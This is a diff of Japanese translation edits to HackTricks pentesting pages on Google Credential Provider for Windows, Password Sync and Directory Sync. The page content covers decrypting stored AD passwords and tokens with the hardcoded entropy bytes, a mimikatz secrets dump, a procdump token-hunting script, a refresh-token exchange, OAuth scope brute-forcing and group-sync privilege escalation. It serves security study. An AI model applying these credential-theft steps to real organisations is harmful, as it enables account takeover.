デフォルトでは、GCPWはユーザーとしてすべての可能なOAuthスコープにアクセスできないため、次のスクリプトを使用して、`refresh_token`を使用して`access_token`を生成するために使用できるスコープを見つけることができます。
|
||||
デフォルトでは、GCPWはユーザーとしてすべての可能なOAuthスコープにアクセスできないため、次のスクリプトを使用して、`refresh_token`を使用して`access_token`を生成するために使用できるスコープを見つけることができます:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -378,7 +380,7 @@ https://www.googleapis.com/auth/userinfo.profile
|
||||
```
|
||||
</details>
|
||||
|
||||
さらに、Chromiumのソースコードを確認すると、[**このファイル**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24)を見つけることができ、**他のスコープ**が含まれていることがわかります。これは**以前にブルートフォースされたリストには表示されない**と考えられます。したがって、これらの追加スコープは次のように仮定できます:
|
||||
さらに、Chromiumのソースコードを確認すると、[**このファイル**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24)を見つけることができ、**他のスコープ**が含まれていることがわかります。これらは**以前にブルートフォースされたリストには表示されない**と考えられます。したがって、これらの追加スコープが考えられます:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -585,7 +587,7 @@ https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
</details>
|
||||
|
||||
いくつかのスコープを使用した例:
|
||||
これらのスコープを使用したいくつかの例:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -699,7 +701,7 @@ curl -X GET \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>https://www.googleapis.com/auth/spreadsheets</summary>スプレッドシートへのアクセスを許可します。
|
||||
<summary>https://www.googleapis.com/auth/spreadsheets</summary>
|
||||
```bash
|
||||
# List spreadsheets
|
||||
curl -X GET \
|
||||
@@ -758,10 +760,10 @@ curl -X POST \
|
||||
|
||||
<summary>https://www.googleapis.com/auth/ediscovery (Google Vault)</summary>
|
||||
|
||||
**Google Workspace Vault** は、Gmail、Drive、Chat などの Google Workspace サービスに保存されている組織のデータの保持、検索、およびエクスポートのためのツールを提供する Google Workspace のアドオンです。
|
||||
**Google Workspace Vault**は、Gmail、Drive、ChatなどのGoogle Workspaceサービスに保存されている組織のデータの保持、検索、エクスポートのためのツールを提供するGoogle Workspaceのアドオンです。
|
||||
|
||||
- Google Workspace Vault における **Matter** は、特定のケース、調査、または法的問題に関連するすべての情報を整理し、グループ化する **コンテナ** です。これは、その特定の問題に関連する **Holds**、**Searches**、および **Exports** を管理するための中央ハブとして機能します。
|
||||
- Google Workspace Vault における **Hold** は、特定のユーザーまたはグループに適用される **保存アクション** であり、Google Workspace サービス内のデータの **削除または変更を防ぐ** ためのものです。Holds は、関連情報が法的なケースや調査の期間中に無傷で変更されないようにします。
|
||||
- Google Workspace Vaultにおける**Matter**は、特定のケース、調査、または法的問題に関連するすべての情報を整理し、グループ化する**コンテナ**です。これは、その特定の問題に関連する**Holds**、**Searches**、および**Exports**を管理するための中心的なハブとして機能します。
|
||||
- Google Workspace Vaultにおける**Hold**は、特定のユーザーまたはグループに適用される**保存アクション**であり、Google Workspaceサービス内でのデータの**削除または変更を防ぐ**ためのものです。Holdsは、関連情報が法的なケースや調査の期間中に無傷で変更されないようにします。
|
||||
```bash
|
||||
# List matters
|
||||
curl -X GET \
|
||||
@@ -803,7 +805,7 @@ mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
次に、スコープ `https://www.google.com/accounts/OAuthLogin` を持つ **アクセストークン** を使用して、パスワードを復号化するための秘密鍵をリクエストすることができます:
|
||||
次に、スコープ `https://www.google.com/accounts/OAuthLogin` を持つ **アクセストークン** を使用して、パスワードを復号化するための秘密鍵を要求することができます:
|
||||
|
||||
<details>
|
||||
|
||||
|
||||
+13
-13
@@ -6,7 +6,7 @@
|
||||
|
||||
これは、Googleが提供するバイナリおよびサービスで、**ADとWorkspace間でユーザーのパスワードを同期させる**ためのものです。ユーザーがADでパスワードを変更するたびに、それがGoogleに設定されます。
|
||||
|
||||
`C:\Program Files\Google\Password Sync`にインストールされ、ここにバイナリ`PasswordSync.exe`があり、設定用と`password_sync_service.exe`(実行を続けるサービス)があります。
|
||||
`C:\Program Files\Google\Password Sync`にインストールされ、ここでバイナリ`PasswordSync.exe`を見つけて設定し、`password_sync_service.exe`(実行を続けるサービス)があります。
|
||||
|
||||
### GPS - 設定
|
||||
|
||||
@@ -20,29 +20,29 @@
|
||||
- GUIのないドメインコントロール用にGoogleが要求します
|
||||
- これらの資格情報もレジストリに保存されます
|
||||
|
||||
ADに関しては、現在の**アプリケーションコンテキスト、匿名、または特定の資格情報**を使用するように指示することが可能です。資格情報オプションが選択された場合、**ユーザー名**は**ディスク**内のファイルに保存され、**パスワード**は**暗号化され**て**レジストリ**に保存されます。
|
||||
ADに関しては、現在の**アプリケーションコンテキスト、匿名、または特定の資格情報**を使用するように指示することが可能です。資格情報オプションが選択された場合、**ユーザー名**は**ディスク**内のファイルに保存され、**パスワード**は**暗号化**されて**レジストリ**に保存されます。
|
||||
|
||||
### GPS - ディスクからのパスワードとトークンのダンプ
|
||||
|
||||
> [!TIP]
|
||||
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GPS**を検出し、設定に関する情報を取得し、**パスワードとトークンを復号化する**ことができます。
|
||||
|
||||
ファイル**`C:\ProgramData\Google\Google Apps Password Sync\config.xml`**には、設定の一部として**`baseDN`**や使用されている**`username`**が見つかります。
|
||||
**`C:\ProgramData\Google\Google Apps Password Sync\config.xml`**ファイル内には、設定の一部として**`baseDN`**や使用されている**`username`**が見つかります。
|
||||
|
||||
レジストリ**`HKLM\Software\Google\Google Apps Password Sync`**には、ADユーザーのための**暗号化されたリフレッシュトークン**と**暗号化されたパスワード**が見つかります(存在する場合)。さらに、トークンの代わりに**SAの資格情報**が使用されている場合、それらもそのレジストリアドレスに暗号化されて保存されています。このレジストリ内の**値**は**管理者**のみが**アクセス可能**です。
|
||||
レジストリの**`HKLM\Software\Google\Google Apps Password Sync`**内には、ADユーザーのための**暗号化されたリフレッシュトークン**と**暗号化されたパスワード**(存在する場合)が見つかります。さらに、トークンの代わりに**SA資格情報**が使用されている場合、それらもそのレジストリアドレスに暗号化されて見つかります。このレジストリ内の**値**は**管理者**のみが**アクセス可能**です。
|
||||
|
||||
暗号化された**パスワード**(存在する場合)は**`ADPassword`**キー内にあり、**`CryptProtectData`** APIを使用して暗号化されています。復号化するには、パスワード同期を設定したのと同じユーザーである必要があり、**`CryptUnprotectData`**を使用する際にこの**エントロピー**を使用します:`byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
|
||||
|
||||
暗号化されたトークン(存在する場合)は**`AuthToken`**キー内にあり、**`CryptProtectData`** APIを使用して暗号化されています。復号化するには、パスワード同期を設定したのと同じユーザーである必要があり、**`CryptUnprotectData`**を使用する際にこの**エントロピー**を使用します:`byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
さらに、これは**`0123456789abcdefghijklmnopqrstv`**という辞書を使ってbase32hexでエンコードされています。
|
||||
さらに、これは**`0123456789abcdefghijklmnopqrstv`**という辞書を使用してbase32hexでエンコードされています。
|
||||
|
||||
エントロピー値はツールを使用して見つかりました。このツールは**`CryptUnprotectData`**と**`CryptProtectData`**への呼び出しを監視するように設定され、その後、`PasswordSync.exe`を起動して監視するために使用され、設定されたパスワードと認証トークンを最初に復号化し、ツールは両方のケースで使用された**エントロピーの値**を**表示**します:
|
||||
エントロピー値はツールを使用して見つかりました。このツールは**`CryptUnprotectData`**および**`CryptProtectData`**への呼び出しを監視するように設定され、その後、`PasswordSync.exe`を起動して監視するために使用され、これにより設定されたパスワードと認証トークンが最初に復号化され、ツールは両方のケースで使用された**エントロピーの値**を**表示**します:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
これらのAPIへの呼び出しの入力または出力で**復号化された**値を見ることも可能です(Winpeasが動作しなくなった場合に備えて)。
|
||||
|
||||
パスワード同期が**SAの資格情報で設定されている**場合、それもレジストリ**`HKLM\Software\Google\Google Apps Password Sync`**内のキーに保存されます。
|
||||
パスワード同期が**SA資格情報で設定されている**場合、それもレジストリの**`HKLM\Software\Google\Google Apps Password Sync`**内のキーに保存されます。
|
||||
|
||||
### GPS - メモリからのトークンのダンプ
|
||||
|
||||
@@ -51,7 +51,7 @@ ADに設定された資格情報も見つけることができると思います
|
||||
|
||||
<details>
|
||||
|
||||
<summary><code>PasswordSync.exe</code>と<code>password_sync_service.exe</code>プロセスをダンプしてトークンを検索</summary>
|
||||
<summary><code>PasswordSync.exe</code>および<code>password_sync_service.exe</code>プロセスをダンプしてトークンを検索</summary>
|
||||
```powershell
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
|
||||
@@ -137,18 +137,18 @@ curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.goo
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
### GPS - Scopes
|
||||
### GPS - スコープ
|
||||
|
||||
> [!NOTE]
|
||||
> リフレッシュトークンを持っていても、アクセストークンのためにスコープをリクエストすることはできません。なぜなら、アクセストークンを生成しているアプリケーションでサポートされている**スコープのみをリクエストできる**からです。
|
||||
> リフレッシュトークンを持っていても、**アクセストークンを生成しているアプリケーションでサポートされているスコープのみを要求できるため、アクセストークンのために任意のスコープを要求することはできません**。
|
||||
>
|
||||
> また、リフレッシュトークンはすべてのアプリケーションで有効ではありません。
|
||||
|
||||
デフォルトでは、GPSはユーザーとしてすべての可能なOAuthスコープにアクセスできないため、次のスクリプトを使用して、`refresh_token`を使用して`access_token`を生成するために使用できるスコープを見つけることができます。
|
||||
デフォルトでは、GPSはユーザーとしてすべての可能なOAuthスコープにアクセスできないため、次のスクリプトを使用して、`refresh_token`を使用して`access_token`を生成するために使用できるスコープを見つけることができます:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>スコープをブルートフォースするBashスクリプト</summary>
|
||||
<summary>スコープをブルートフォースするためのBashスクリプト</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
@@ -179,6 +179,6 @@ https://www.googleapis.com/auth/admin.directory.user
|
||||
どのスコープも指定しない場合と同じです。
|
||||
|
||||
> [!CAUTION]
|
||||
> このスコープを使用すると、**既存のユーザーのパスワードを変更して権限を昇格させることができます**。
|
||||
> このスコープでは、**既存のユーザーのパスワードを変更して権限を昇格させる**ことができます。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+10
-10
@@ -4,9 +4,9 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
GCDSを使用してユーザーを同期するこの方法の主な違いは、GCDSは手動でダウンロードして実行する必要があるバイナリを使用するのに対し、**Admin Directory Syncはサーバーレス**で、Googleによって管理されていることです [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories)。
|
||||
GCDSを使用してユーザーを同期するこの方法の主な違いは、GCDSは手動でダウンロードして実行する必要があるバイナリを使用するのに対し、**Admin Directory Syncはサーバーレス**でGoogleによって管理されていることです [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories)。
|
||||
|
||||
この文書の執筆時点で、このサービスはベータ版であり、2種類の同期をサポートしています:**Active Directory**からと**Azure Entra ID**から:
|
||||
この執筆時点で、このサービスはベータ版であり、2種類の同期をサポートしています:**Active Directory**からと**Azure Entra ID**から:
|
||||
|
||||
- **Active Directory:** これを設定するには、**GoogleにあなたのActive Directory環境へのアクセスを許可する必要があります**。GoogleはGCPネットワーク(**VPCコネクタ**経由)にのみアクセスできるため、コネクタを作成し、そのコネクタからADを利用可能にする必要があります。これには、GCPネットワーク内のVMに配置するか、Cloud VPNまたはCloud Interconnectを使用します。その後、ディレクトリに対する読み取りアクセスを持つアカウントの**資格情報**と、**LDAPS**経由で連絡するための**証明書**を提供する必要があります。
|
||||
- **Azure Entra ID:** これを構成するには、ポップアップで表示されるGoogleの指示に従って、**読み取りアクセスを持つユーザーでAzureにログインするだけです**。GoogleはEntra IDに対する読み取りアクセスを持つトークンを保持します。
|
||||
@@ -18,18 +18,18 @@ GCDSを使用してユーザーを同期するこの方法の主な違いは、G
|
||||
- 新しいユーザーにログインするためのメールを送信
|
||||
- 彼らのメールアドレスをWorkspaceで使用されているものに自動的に変更します。したがって、Workspaceが`@hacktricks.xyz`を使用し、EntraIDユーザーが`@carloshacktricks.onmicrosoft.com`を使用している場合、`@hacktricks.xyz`がアカウント内で作成されたユーザーに使用されます。
|
||||
- 同期される**ユーザーを含むグループ**を選択します。
|
||||
- 同期してWorkspaceに作成する**グループ**を選択する(またはすべてのグループを同期するように指示する)。
|
||||
- 同期する**グループ**を選択し、Workspaceに作成します(またはすべてのグループを同期するように指示します)。
|
||||
|
||||
### AD/EntraID -> Google Workspace (& GCP)
|
||||
|
||||
ADまたはEntraIDを侵害することができれば、Google Workspaceと同期されるユーザーとグループを完全に制御できます。\
|
||||
ただし、Workspaceでユーザーが使用している**パスワード**は**同じものである可能性もあれば、そうでない可能性もあります**。
|
||||
ただし、Workspaceでユーザーが使用している**パスワード**は**同じである可能性もあれば、そうでない可能性もあります**。
|
||||
|
||||
#### ユーザーへの攻撃
|
||||
|
||||
同期が行われると、**ADからすべてのユーザーを同期するか、特定のOUからのユーザーのみを同期するか、またはEntraIDの特定のグループのメンバーのみを同期する**可能性があります。これは、同期されたユーザーを攻撃する(または新しいユーザーを作成して同期させる)には、まずどのユーザーが同期されているかを特定する必要があることを意味します。
|
||||
同期が行われると、**ADからすべてのユーザーを同期するか、特定のOUからのみ同期するか、またはEntraIDの特定のグループのメンバーのみを同期する**可能性があります。これは、同期されたユーザーを攻撃するためには、まずどのユーザーが同期されているかを特定する必要があることを意味します。
|
||||
|
||||
- ユーザーは**ADまたはEntraIDからパスワードを再利用している可能性があります**が、これは**ユーザーのパスワードを侵害してログインする必要がある**ことを意味します。
|
||||
- ユーザーは**ADまたはEntraIDからパスワードを再利用している可能性があります**が、これは**ログインするためにユーザーのパスワードを侵害する必要がある**ことを意味します。
|
||||
- ユーザーの**メール**にアクセスできる場合、既存のユーザーのWorkspaceパスワードを**変更する**か、**新しいユーザーを作成**し、それが同期されるのを待ってアカウントを設定できます。
|
||||
|
||||
Workspace内のユーザーにアクセスすると、デフォルトでいくつかの**権限が付与される**可能性があります。
|
||||
@@ -41,17 +41,17 @@ Workspace内のユーザーにアクセスすると、デフォルトでいく
|
||||
> [!NOTE]
|
||||
> グループとメンバーシップがWorkspaceにインポートされても、**ユーザー同期で同期されていないユーザーは、グループ同期中に作成されません**。たとえ彼らが同期されたグループのメンバーであってもです。
|
||||
|
||||
Azureのどのグループが**WorkspaceまたはGCPで権限を割り当てられているか**を知っていれば、侵害されたユーザー(または新しく作成されたユーザー)をそのグループに追加し、その権限を取得できます。
|
||||
Azureからのどのグループが**WorkspaceまたはGCPで権限を割り当てられているか**を知っていれば、侵害されたユーザー(または新しく作成されたユーザー)をそのグループに追加し、その権限を取得できます。
|
||||
|
||||
Workspace内の既存の特権グループを悪用する別のオプションもあります。たとえば、グループ`gcp-organization-admins@<workspace.email>`は通常、GCPに対して高い権限を持っています。
|
||||
Workspace内の既存の特権グループを悪用する別のオプションがあります。たとえば、グループ`gcp-organization-admins@<workspace.email>`は通常、GCPに対して高い権限を持っています。
|
||||
|
||||
たとえば、EntraIDからWorkspaceへの同期が**インポートされたオブジェクトのドメインをWorkspaceのメールに置き換える**ように構成されている場合、攻撃者はEntraIDに`gcp-organization-admins@<entraid.email>`というグループを作成し、そのグループにユーザーを追加し、すべてのグループの同期が行われるのを待つことができます。\
|
||||
たとえば、EntraIDからWorkspaceへの同期が**インポートされたオブジェクトのドメインをWorkspaceのメールで置き換える**ように構成されている場合、攻撃者はEntraIDに`gcp-organization-admins@<entraid.email>`というグループを作成し、そのグループにユーザーを追加し、すべてのグループの同期が行われるのを待つことができます。\
|
||||
**ユーザーはグループ`gcp-organization-admins@<workspace.email>`に追加され、GCPでの権限が昇格します。**
|
||||
|
||||
### Google Workspace -> AD/EntraID
|
||||
|
||||
Workspaceは、ユーザーとグループを同期するためにADまたはEntraIDに対する読み取り専用アクセスの資格情報を必要とします。したがって、Google Workspaceを悪用してADまたはEntraIDに変更を加えることはできません。したがって、**現時点ではこれは不可能です**。
|
||||
|
||||
また、GoogleがADの資格情報やEntraIDトークンをどこに保存しているかはわからず、**同期を再構成してもそれらを回復することはできません**(ウェブフォームには表示されず、再度提供する必要があります)。ただし、ウェブからは現在の機能を悪用して**ユーザーとグループをリストする**ことができるかもしれません。
|
||||
また、GoogleがADの資格情報やEntraIDトークンをどこに保存しているかはわからず、**同期を再構成してもそれらを回復することはできません**(ウェブフォームには表示されず、再度提供する必要があります)。ただし、ウェブからは現在の機能を悪用して**ユーザーとグループをリストする**ことが可能かもしれません。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user